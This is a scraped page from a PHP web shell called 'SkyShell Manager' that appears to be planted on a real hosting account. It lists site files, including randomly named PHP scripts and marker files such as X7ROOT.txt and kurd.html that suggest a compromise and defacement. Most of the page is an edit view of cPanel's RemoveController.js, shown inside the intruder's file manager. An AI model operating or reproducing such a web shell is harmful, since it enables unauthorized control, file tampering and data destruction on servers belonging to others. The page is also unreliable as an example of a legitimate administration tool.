ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.2.30

Path:root/home/qooetu/costes.qooetu.com/

Name	Size	Perm	Actions
📁 .well-known	-	0755	🗑️ 🏷️
📁 2e19d9	-	0755	🗑️ 🏷️
📁 6b114	-	0755	🗑️ 🏷️
📁 Modules	-	0755	🗑️ 🏷️
📁 app	-	0755	🗑️ 🏷️
📁 assets	-	0755	🗑️ 🏷️
📁 bootstrap	-	0755	🗑️ 🏷️
📁 cgi-bin	-	0755	🗑️ 🏷️
📁 config	-	0755	🗑️ 🏷️
📁 css	-	0755	🗑️ 🏷️
📁 database	-	0755	🗑️ 🏷️
📁 images	-	0755	🗑️ 🏷️
📁 js	-	0755	🗑️ 🏷️
📁 nbproject	-	0755	🗑️ 🏷️
📁 public	-	0755	🗑️ 🏷️
📁 resources	-	0755	🗑️ 🏷️
📁 routes	-	0755	🗑️ 🏷️
📁 storage	-	0755	🗑️ 🏷️
📁 tests	-	0755	🗑️ 🏷️
📁 uploads	-	0755	🗑️ 🏷️
📁 vendor	-	0755	🗑️ 🏷️
📁 wp-admin	-	0755	🗑️ 🏷️
📁 wp-content	-	0755	🗑️ 🏷️
📁 wp-includes	-	0755	🗑️ 🏷️
📄 .htaccess	0.23 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 COOKIE.txt	0.2 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 X7ROOT.txt	0.27 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 defaults.php	1.29 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 engine.php	0 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 error_log	813.08 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 features.php	11.28 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 googlecfb82e09419fc0f6.html	0.05 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 index.php0	1.56 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 inputs.php	0.12 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 kurd.html	1.07 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 library.php	0 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 min.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 p.php	2.75 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 php.ini	0.04 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 product.php	1.78 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 qpmwztts.php	0.74 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 robots.txt	0.32 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 tovmbkwh.php	0.74 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 tyyffovi.php	0.74 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 veoxv.html	1.23 KB	0644	🗑️ 🏷️ ⬇️ ✏️

Edit: RemoveController.js

/*
# templates/killacct/views/RemoveController.js
#                                                     Copyright(c) 2020 cPanel, L.L.C.
#                                                               All rights reserved.
# copyright@cpanel.net                                             http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited
*/

/* global define: false */
/* jshint -W100 */

define(
    [
        "lodash",
        "angular",
        "cjt/util/locale",
        "uiBootstrap",
        "cjt/directives/toggleSortDirective",
        "cjt/directives/searchDirective",
        "cjt/directives/pageSizeDirective",
        "cjt/filters/startFromFilter",
        "cjt/decorators/paginationDecorator",
    ],
    function(_, angular, LOCALE) {

// Retrieve the current application
        var app = angular.module("App");

app.controller(
            "ModalInstanceCtrl", [
                "$scope",
                "$uibModalInstance",
                "selected_accounts",
                function($scope, $uibModalInstance, selected_accounts) {
                    $scope.selected_accounts = selected_accounts.map(function(item) {
                        return item.username;
                    });
                    $scope.get_selected_accounts_text = function() {
                        return LOCALE.maketext("Check this box to acknowledge that you are aware that this will permanently delete the following accounts: [list_and_quoted,_1]", $scope.selected_accounts);
                    };
                    $scope.closeModal = function() {
                        $uibModalInstance.close();
                    };

$scope.runIt = function() {
                        $uibModalInstance.close(true);
                    };
                }
            ]
        );

// Setup the controller
        var controller = app.controller(
            "RemoveController", [
                "$scope",
                "$filter",
                "$routeParams",
                "indexService",
                "growl",
                "$uibModal",
                function($scope, $filter, $routeParams, indexService, growl, $uibModal) {
                    var _growl_error = function(err) {
                        growl.error(_.escape(err));
                    };

var domains = indexService.get_domains();
                    var accounts = [];
                    angular.forEach(domains, function(value, key) {
                        accounts.push({
                            "username": value.username,
                            "owner": value.owner,
                            "domain": key,
                            "suspended": value.suspended ? LOCALE.maketext("Suspended") : LOCALE.maketext("Active"),
                            "selected": false,
                            "keep_dns": false
                        });
                    });

$scope.accounts = accounts;
                    $scope.removing_multiple_accounts = false;
                    $scope.confirming_accounts_removal = false;
                    $scope.show_only_suspended_accounts = false;

$scope.meta = {

// sort settings
                        sortReverse: false,
                        sortBy: "username",
                        sortDirection: "desc",

// pager settings
                        maxPages: 5,
                        totalItems: $scope.accounts.length,
                        currentPage: 1,
                        pageSize: 10,
                        pageSizes: [10, 20, 50, 100],
                        start: 0,
                        limit: 10,

filterValue: ""
                    };
                    $scope.showPager = true;
                    $scope.LOCALE = LOCALE;

$scope.removal_queue = [];

var filters = {
                        filter: $filter("filter"),
                        orderBy: $filter("orderBy"),
                        startFrom: $filter("startFrom"),
                        limitTo: $filter("limitTo")
                    };

// update the table on sort
                    $scope.sortList = function() {
                        $scope.fetch();
                    };

// update table on pagination changes
                    $scope.selectPage = function() {
                        $scope.fetch();
                    };

// update table on page size changes
                    $scope.selectPageSize = function() {
                        $scope.fetch();
                    };

$scope.request_delete_account = function(account) {
                        account.delete_requested = true;
                        if (account.summary) {
                            return true;
                        }
                        account.requesting_summary = true;
                        return indexService.get_account_summary(account.username).then(function(result) {
                            account.summary = result.data.pop();
                        }, _growl_error).finally(function() {
                            account.requesting_summary = false;
                        });
                    };

$scope.request_multi_delete_confirmation = function() {
                        var $uibModalInstance = $uibModal.open({
                            templateUrl: "updateModalContent.tmpl",
                            controller: "ModalInstanceCtrl",
                            resolve: {
                                "selected_accounts": $scope.get_selected_accounts
                            }
                        });

$uibModalInstance.result.then(function(proceed) {
                            if (proceed) {
                                $scope.confirming_accounts_removal = false;
                                return $scope.remove_selected();
                            }
                        });
                    };

$scope.searchList = function() {
                        $scope.fetch();
                    };

$scope.remove = function(account) {

$scope.removal_queue.push(account);
                        account.removing = true;

if ($scope.removal_queue.length === 1) {
                            return $scope.remove_next_queued();
                        } else {
                            growl.info(LOCALE.maketext("The system has added the account [_1] to the removal queue.", account.username));
                            account.delete_requested = false;
                        }
                    };

$scope.get_selected_accounts = function() {
                        $scope.selected_accounts = $filter("filter")($scope.accounts, {
                            selected: 1
                        });
                        if ($scope.selected_accounts.length === 0 && $scope.confirming_accounts_removal) {
                            $scope.confirming_accounts_removal = false;
                        }
                        return $scope.selected_accounts;
                    };

$scope.get_selected_account_names = function() {
                        var accounts = [];
                        var _accounts = $scope.get_selected_accounts();
                        angular.forEach(_accounts, function(account) {
                            accounts.push(account.username);
                        });
                        return accounts;
                    };

$scope.remove_next_queued = function() {

/* prevent multiple running */
                        if ($scope.removing_multiple_accounts) {
                            return;
                        }

$scope.removing_multiple_accounts = true;

return _remove_next_queued();

};

function _remove_next_queued() {

var account = $scope.removal_queue.shift();

var acct_growl = growl.info(LOCALE.maketext("Starting removal of “[_1]”", account.username));

return indexService.remove_account(account).then(function() {
                            acct_growl.setText(LOCALE.maketext("Successfully removed “[_1]”", account.username));
                            acct_growl.severity = "success";
                            account.removing = false;
                            $scope.accounts = $filter("filter")($scope.accounts, function(acct, key) {
                                if (acct.username === account.username) {
                                    $scope.accounts[key].removing = false;
                                    return false;
                                }
                                return true;
                            });
                            $scope.fetch();

/* are there more to remove, go again */
                            if ($scope.removal_queue.length) {
                                return _remove_next_queued();
                            }

/* otherwise we're done */
                            $scope.removing_multiple_accounts = false;
                            return true;
                        }, function(error) {
                            account.removing = false;
                            _growl_error(error);
                            $scope.clear_removal_queue();
                            $scope.removing_multiple_accounts = false;
                        });
                    }

$scope.get_table_showing_text = function() {
                        return LOCALE.maketext("Showing [numf,_1] - [numf,_2] of [quant,_3,item,items]", $scope.meta.start, $scope.meta.limit, $scope.meta.totalItems);
                    };

$scope.selected_account_name_string = function() {
                        return LOCALE.maketext("[list_and_quoted,_1]", $scope.get_selected_account_names());
                    };

$scope.cancel_removal_label = function() {
                        return LOCALE.maketext("Cancel account removals ([_1])", $scope.removal_queue.length);
                    };

$scope.clear_removal_queue = function() {
                        var usernames = [];
                        angular.forEach($scope.removal_queue, function(acct) {
                            acct.removing = false;
                            usernames.push(acct.username);
                        });
                        $scope.removal_queue = [];
                        var accounts_being_removed = filters.filter($scope.accounts, {
                            removing: true
                        }).map(function(acct) {
                            return acct.username;
                        });
                        if (usernames.length) {
                            growl.info(LOCALE.maketext("The system will not remove the following [numerate,_1,user,users]: [list_and_quoted,_1]", usernames));
                        }
                        if (accounts_being_removed.length) {
                            growl.warning(LOCALE.maketext("The system cannot abort the deletion of the following [numerate,_1,user,users]: [list_and_quoted,_1]", accounts_being_removed));
                        }
                    };

$scope.remove_selected = function() {

var _accounts = $scope.get_selected_accounts();
                        if (!_accounts.length) {
                            return;
                        }
                        angular.forEach(_accounts, function(acct) {
                            acct.removing = true;
                            acct.selected = 0;
                            $scope.removal_queue.push(acct);
                        });

/* because all selected items are deselected return this to false */
                        $scope.account_checkbox_control = false;

$scope.remove_next_queued();
                        $scope.update_selected();

};

$scope.toggleCheckAll = function(arr, attr, val) {
                        arr.forEach(function(item, index) {

/* prevent an item from being selected if it's being removed */
                            if (attr === "selected" && val && arr[index].removing) {
                                return;
                            }
                            arr[index][attr] = val ? 1 : 0;
                        });
                        $scope.update_selected();
                    };

$scope.update_selected = function() {
                        $scope.get_selected_accounts();
                    };

var min_value_in_array = function(arr) {
                        var min_value = arr[0];
                        for (var x = 0; x < arr.length; x++) {
                            min_value = arr[x] < min_value ? arr[x] : min_value;
                        }

return min_value;
                    };

$scope.wrappedDeleteText = function(username) {
                        return LOCALE.maketext("Are you sure you want to remove the account “[_1]”?", username) + "<br />" + LOCALE.maketext("This will permanently remove all of the user’s data from the system.");
                    };

$scope.get_suspended_accounts = function() {
                        return $filter("filter")($scope.accounts, {
                            suspended: LOCALE.maketext("Suspended")
                        });
                    };

// update table
                    $scope.fetch = function() {
                        var filteredList = [];

// filter list based on search text
                        if ($scope.meta.filterValue !== "") {
                            filteredList = filters.filter($scope.accounts, $scope.meta.filterValue, false);
                        } else {
                            filteredList = $scope.accounts;
                        }

if ($scope.show_only_suspended_accounts) {
                            filteredList = $scope.get_suspended_accounts();
                        }

// sort the filtered list
                        if ($scope.meta.sortDirection !== "" && $scope.meta.sortBy !== "") {
                            filteredList = filters.orderBy(filteredList, $scope.meta.sortBy, $scope.meta.sortDirection === "asc" ? true : false);
                        }

// update the total items after search
                        $scope.meta.totalItems = filteredList.length;

// filter list based on page size and pagination
                        if ($scope.meta.totalItems > min_value_in_array($scope.meta.pageSizes)) {
                            var start = ($scope.meta.currentPage - 1) * $scope.meta.pageSize;
                            var limit = $scope.meta.pageSize;

filteredList = filters.limitTo(filters.startFrom(filteredList, start), limit);
                            $scope.showPager = true;

// table statistics
                            $scope.meta.start = start + 1;
                            $scope.meta.limit = start + filteredList.length;

} else {

// hide pager and pagination
                            $scope.showPager = false;

if (filteredList.length === 0) {
                                $scope.meta.start = 0;
                            } else {

// table statistics
                                $scope.meta.start = 1;
                            }

$scope.meta.limit = filteredList.length;
                        }

$scope.filteredAccounts = filteredList;
                        $scope.update_selected();

return filteredList;
                    };

// first page load

if ($routeParams["user"]) {
                        angular.forEach($scope.accounts, function(acct) {
                            if (acct.username === $routeParams["user"]) {
                                $scope.meta.filterValue = acct.username;
                                $scope.request_delete_account(acct);
                            }
                        });
                    }

$scope.fetch();

}
            ]
        );

return controller;
    }
);

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ PHP v8.2.30

Edit: RemoveController.js

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.2.30